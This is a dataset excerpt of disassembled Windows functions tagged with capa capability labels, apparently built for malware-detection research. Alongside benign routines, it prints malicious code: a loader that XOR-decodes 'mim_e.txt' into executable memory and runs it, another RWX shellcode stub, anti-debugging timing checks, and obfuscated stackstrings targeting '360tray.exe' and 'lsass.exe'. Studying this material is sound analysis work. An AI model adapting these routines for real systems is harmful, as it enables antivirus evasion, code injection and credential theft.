joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402619e0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rsi, rcx
add rcx, 0x10
mov r8d, 0x4d
lea rdx, [0x140278de0]
call fcn.140241270
lea rcx, [rsi + 0x30]
xor r8d, r8d
lea rdx, [0x140274186]
call fcn.140241270
lea rcx, [rsi + 0x50]
xor r8d, r8d
lea rdx, [0x140274186]
call fcn.140241270
lea rcx, [rsi + 0x70]
xor r8d, r8d
lea rdx, [0x140274186]
call fcn.140241270
lea rcx, [rsi + 0x90]
xor r8d, r8d
lea rdx, [0x140274186]
call fcn.140241270
lea rcx, [rsi + 0xb0]
xor r8d, r8d
lea rdx, [0x140274186]
call fcn.140241270
lea rcx, [rsi + 0xd0]
mov r8d, 3
lea rdx, [0x140278e30]
call fcn.140241270
lea rcx, [rsi + 0xf0]
xor r8d, r8d
lea rdx, [0x140274186]
call fcn.140241270
lea rcx, [rsi + 0x110]
mov r8d, 0xf
lea rdx, str.www.example.com
call fcn.140241270
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x50], xmm1
xor r8d, r8d
lea rdx, [0x140274186]
lea rcx, [rsp + 0x40]
call fcn.1402071a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
xor r8d, r8d
lea rdx, [0x140274186]
lea rcx, [rsp + 0x60]
call fcn.1402071a0
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.1401f2df0
lea rdi, [rsi + 0x130]
lea rax, [rsp + 0x20]
cmp rdi, rax
je 0x140261b8f
mov rbx, qword [rdi]
mov r8, qword [rbx + 8]
mov rdx, rdi
mov rcx, rdi
call fcn.140243e60
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
mov qword [rbx + 0x10], rbx
mov qword [rdi + 8], 0
mov r8, qword [rdi]
mov rax, qword [rsp + 0x20]
mov qword [rdi], rax
mov qword [rsp + 0x20], r8
mov rcx, qword [rdi + 8]
mov rax, qword [rsp + 0x28]
mov qword [rdi + 8], rax
mov qword [rsp + 0x28], rcx
jmp 0x140261b94
mov r8, qword [rsp + 0x20]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.140243e60
mov edx, 0x60
mov rcx, qword [rsp + 0x20]
call fcn.140266300
nop
lea r9, [fcn.1401f2f80]
mov edx, 0x40
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.1402666dc
mov qword [rsi + 0x140], 0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140261c00
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
lea rdi, [0x14028d5a0]
mov qword [rsp + 0x80], rdi
xor ebx, ebx
mov qword [0x14028d5a0], rbx
mov qword [0x14028d5a8], rbx
mov ecx, 0x60
call fcn.14026668c
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [0x14028d5a0], rax
xorps xmm0, xmm0
movups xmmword [0x14028d5b0], xmm0
mov qword [0x14028d5c0], rbx
mov qword [0x14028d5c8], rbx
mov r8d, 0x4d
lea rdx, [0x140278de0]
lea rcx, [0x14028d5b0]
call fcn.1402071a0
nop
xorps xmm0, xmm0
movups xmmword [0x14028d5d0], xmm0
mov qword [0x14028d5e0], rbx
mov qword [0x14028d5e8], 0xf
mov byte [0x14028d5d0], bl
movups xmmword [0x14028d5f0], xmm0
mov qword [0x14028d600], rbx
mov qword [0x14028d608], 0xf
mov byte [0x14028d5f0], bl
movups xmmword [0x14028d610], xmm0
mov qword [0x14028d620], rbx
mov qword [0x14028d628], 0xf
mov byte [0x14028d610], bl
movups xmmword [0x14028d630], xmm0
mov qword [0x14028d640], rbx
mov qword [0x14028d648], 0xf
mov byte [0x14028d630], bl
movups xmmword [0x14028d650], xmm0
mov qword [0x14028d660], rbx
mov qword [0x14028d668], 0xf
mov byte [0x14028d650], bl
movups xmmword [0x14028d670], xmm0
mov qword [0x14028d680], rbx
mov qword [0x14028d688], rbx
mov r8d, 3
lea rdx, [0x140278e30]
lea rcx, [0x14028d670]
call fcn.1402071a0
nop
xorps xmm0, xmm0
movups xmmword [0x14028d690], xmm0
mov qword [0x14028d6a0], rbx
mov qword [0x14028d6a8], 0xf
mov byte [0x14028d690], bl
movups xmmword [0x14028d6b0], xmm0
mov qword [0x14028d6c0], rbx
mov qword [0x14028d6c8], rbx
mov r8d, 0xf
lea rdx, str.www.example.com
lea rcx, [0x14028d6b0]
call fcn.1402071a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x40], xmm1
xor r8d, r8d
lea rdx, [0x140274186]
lea rcx, [rsp + 0x30]
call fcn.1402071a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x60], xmm1
xor r8d, r8d
lea rdx, [0x140274186]
lea rcx, [rsp + 0x50]
call fcn.1402071a0
nop
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [0x14028d6d0]
call fcn.1401f2df0
nop
lea r9, [fcn.1401f2f80]
mov edx, 0x40
mov r8d, 1
lea rcx, [rsp + 0x30]
call fcn.1402666dc
mov qword [0x14028d6e0], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret
Function at 0x1402659ac
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1402659e6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1402659eb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140265a34
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140273e40]
cmp byte [rcx + rax], 0
je 0x140265a34
dec r8
sub rdx, 1
jne 0x140265a1a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1402671a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402671ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402671ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402671ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402671ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1402671ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402671ec
xor al, al
add rsp, 0x28
ret
Function at 0x141a75058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141a751df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141a75089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a7506f
add dl, dl
jne 0x141a75096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a750f6
xor eax, eax
add dl, dl
jne 0x141a750a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a751ad
add dl, dl
jne 0x141a750b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a750c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a750d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a750dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141a750ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141a7507e
mov eax, 1
add dl, dl
jne 0x141a75106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a75113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a750fb
sub eax, ebx
mov ebx, 1
jne 0x141a7514c
mov ecx, 1
add dl, dl
jne 0x141a7512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a7513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a75123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a7507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141a75168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a75175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a7515d
cmp eax, 0x7d00
jae 0x141a7519b
cmp eax, 0x500
jb 0x141a75196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a7507e
cmp eax, 0x7f
ja 0x141a7519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a7507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141a751d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141a7507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001169
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x14000118c
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x1400011b7
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x1400011b0
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x1400039ce
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xa694
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140003a1f
mov rbx, rax
call 0x140003a02
nop
pop rsi
mov r9, rax
add rsi, 0x46cf1
mov rcx, 0xa694
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x140003a1b
call r9
mov ecx, 1
ret
Function at 0x140001dbc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e06
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e08
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor eax, eax
lea r8, [0x140002280]
lea rdx, str.mim_e.txt
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140001159
cmp qword [rsp + 0x20], 0
je 0x140001159
mov qword [rsp + 0x50], rbx
mov ecx, 0x176600
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x40], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, qword [rsp + 0x20]
mov edx, 1
mov rcx, rax
mov r8d, 0x176600
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor ecx, ecx
mov edx, 0x176600
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x176600
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x28]
mov edx, 0x176600
mov r8d, 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x1e07e
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, rsi
mov edi, 0x176600
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x2bc37baf
imul r8d
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x176600
sub r8d, ecx
inc r8b
xor r8b, byte [rbx - 1]
xor r8b, 0x7e
mov byte [rbx - 1], r8b
sub rdi, 1
jne 0x1400010e3
call rsi
mov edx, 0x176600
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001180
add rsp, 0x48
ret
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14062c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14062c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14062c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14062c06f
add dl, dl
jne 0x14062c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14062c0f6
xor eax, eax
add dl, dl
jne 0x14062c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14062c1ad
add dl, dl
jne 0x14062c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14062c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14062c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14062c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14062c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14062c07e
mov eax, 1
add dl, dl
jne 0x14062c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14062c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14062c0fb
sub eax, ebx
mov ebx, 1
jne 0x14062c14c
mov ecx, 1
add dl, dl
jne 0x14062c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14062c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14062c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14062c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14062c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14062c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14062c15d
cmp eax, 0x7d00
jae 0x14062c19b
cmp eax, 0x500
jb 0x14062c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14062c07e
cmp eax, 0x7f
ja 0x14062c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14062c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14062c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14062c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001c80
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x141693be0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001d13
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001d0a
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001cf4
add rax, 2
test ecx, ecx
jne 0x140001ce0
mov rcx, rbx
test edx, edx
je 0x140001d36
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001cd0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400fa620
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x140001d15
Function at 0x1400034a0
Capabilities:
Contain obfuscated stackstrings
Enumerate process modules

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf70]
mov eax, 0x1070
call fcn.1400fa5c0
sub rsp, rax
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x10a0], rbx
mov qword [rsp + 0x10b0], rsi
mov qword [rsp + 0x10b8], rdi
mov rax, qword [0x141693be0]
xor rax, rsp
mov qword [rbp + 0xf68], rax
mov rdi, rdx
mov dword [rbp + 0xf50], 0x360033
mov dword [rbp + 0xf54], 0x740030
mov dword [rbp + 0xf58], 0x610072
mov dword [rbp + 0xf5c], 0x2e0079
mov dword [rbp + 0xf60], 0x780065
mov dword [rbp + 0xf64], reloc.WS2_32.dll_WSAAsyncSelect
xor esi, esi
lea rcx, [rbp + 0xf50]
call fcn.140001c80
mov ebx, eax
test eax, eax
je 0x1400035fd
lea r8, [rsp + 0x20]
mov edx, 0x1000
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x1400035fd
mov edx, dword [rsp + 0x20]
shr edx, 2
mov ecx, esi
test edx, edx
je 0x1400035fd
mov eax, ecx
cmp dword [rsp + rax*4 + 0x50], ebx
je 0x140003586
inc ecx
cmp ecx, edx
jb 0x140003576
jmp 0x1400035fd
cmp qword [rdi + 0x10], rsi
je 0x1400035fd
mov r8, rdi
lea rdx, [rsp + 0x28]
call fcn.140002130
nop
call fcn.140002330
mov dword [rbp + 0xf50], 0x73006c
mov dword [rbp + 0xf54], 0x730061
mov dword [rbp + 0xf58], 0x2e0073
mov dword [rbp + 0xf5c], 0x780065
mov dword [rbp + 0xf60], reloc.WS2_32.dll_WSAAsyncSelect
lea rdx, [rbp + 0xf50]
call fcn.140001e40
test eax, eax
je 0x1400035ee
lea r8, [rsp + 0x28]
mov edx, eax
call fcn.140002450
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400035fd
call fcn.14001c480
mov rcx, qword [rbp + 0xf68]
xor rcx, rsp
call fcn.1400fa620
lea r11, [rsp + 0x1070]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000a860
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1f8]
sub rsp, 0x2d0
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x141693be0]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov r14, rcx
xor ebx, ebx
mov dword [rsp + 0x38], ebx
movsd xmm6, qword [0x141524068]
lea r15, [0x1415235b0]
lea r12, [0x141523a88]
lea r13, [0x141668178]
or esi, 0xffffffff
movsd xmm7, qword [0x141524058]
nop dword [rax + rax]
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm7
subsd xmm6, xmm0
mov dword [rsp + 0x68], 2
mov dword [rsp + 0x6c], 0x117
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r13
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14000f5b0
mov rdi, rax
mov r8d, esi
lea rdx, [0x141523ab8]
lea rcx, [rsp + 0x28]
call fcn.140001a90
nop
mov rdx, rax
mov rcx, qword [rdi]
call fcn.1400241a0
nop
mov rcx, qword [rsp + 0x28]
mov eax, dword [rcx]
test eax, eax
je 0x14000a95b
cmp eax, 0xffffffff
je 0x14000a969
lock dec dword [rcx]
jne 0x14000a969
mov rcx, qword [rsp + 0x28]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140011e00
mov rcx, qword [rdi]
cmp byte [rcx + 0x20], 0
je 0x14000a979
mov dl, 0x20
call fcn.140024210
movaps xmm1, xmm6
mov rcx, qword [rdi]
call fcn.1400244b0
mov rcx, qword [rdi]
cmp byte [rcx + 0x20], 0
je 0x14000a995
mov dl, 0x20
call fcn.140024210
nop
lea rcx, [rsp + 0x40]
call fcn.140026060
inc ebx
cmp ebx, 0x1e
jl 0x14000a8e0
mov edx, 0x104
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x14000aa62
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x4c], 0x11c
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r13
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.14000f5b0
mov rbx, rax
mov r8d, esi
lea rdx, [0x141523ae0]
lea rcx, [rsp + 0x20]
call fcn.140001a90
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.1400241a0
nop
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx]
test eax, eax
je 0x14000aa2d
cmp eax, 0xffffffff
je 0x14000aa3b
lock dec dword [rcx]
jne 0x14000aa3b
mov rcx, qword [rsp + 0x20]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140011e00
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x14000aa4c
mov dl, 0x20
call fcn.140024210
nop
lea rcx, [rsp + 0x30]
call fcn.140026060
lea rax, [0x141524b70]
mov qword [r14], rax
jmp 0x14000aa71
mov r8d, esi
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.14000a7f0
mov rax, r14
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400fa620
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000aab0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x141693be0]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov rsi, rcx
mov dword [rsp + 0x50], 0
mov edx, 0x104
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec eax
cmp eax, 0x103
ja 0x14000abf5
or r8d, 0xffffffff
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.14000a7f0
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.140023610
movzx r8d, word [rax]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140008250
nop
lea r8, [0x14152390c]
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140008190
nop
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx]
test eax, eax
je 0x14000ab6f
cmp eax, 0xffffffff
je 0x14000ab7e
lock dec dword [rcx]
jne 0x14000ab7e
mov rcx, qword [rsp + 0x38]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140011e00
nop
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx]
test eax, eax
je 0x14000ab98
cmp eax, 0xffffffff
je 0x14000aba6
lock dec dword [rcx]
jne 0x14000aba6
mov rcx, qword [rsp + 0x30]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140011e00
mov rax, qword [rsp + 0x28]
mov qword [rsi], rax
lea rax, [0x141524b70]
mov qword [rsp + 0x28], rax
mov ecx, dword [0x141524b70]
test ecx, ecx
je 0x14000abdf
cmp ecx, 0xffffffff
je 0x14000acaa
lock dec dword [0x141524b70]
jne 0x14000acaa
mov rax, qword [rsp + 0x28]
mov edx, 2
lea r8d, [rdx + 6]
mov rcx, rax
call fcn.140011e00
jmp 0x14000acaa
mov dword [rsp + 0x58], 2
mov dword [rsp + 0x5c], 0xeb
lea rax, [0x1415235b0]
mov qword [rsp + 0x60], rax
lea rax, [0x1415238b8]
mov qword [rsp + 0x68], rax
lea rax, [0x141668178]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call fcn.14000f5b0
mov rbx, rax
or r8d, 0xffffffff
lea rdx, [0x1415238e8]
lea rcx, [rsp + 0x40]
call fcn.140001a90
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.1400241a0
nop
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx]
test eax, eax
je 0x14000ac77
cmp eax, 0xffffffff
je 0x14000ac85
lock dec dword [rcx]
jne 0x14000ac85
mov rcx, qword [rsp + 0x40]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.140011e00
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x14000ac96
mov dl, 0x20
call fcn.140024210
nop
lea rcx, [rsp + 0x48]
call fcn.140026060
lea rax, [0x141524b70]
mov qword [rsi], rax
mov rax, rsi
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400fa620
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret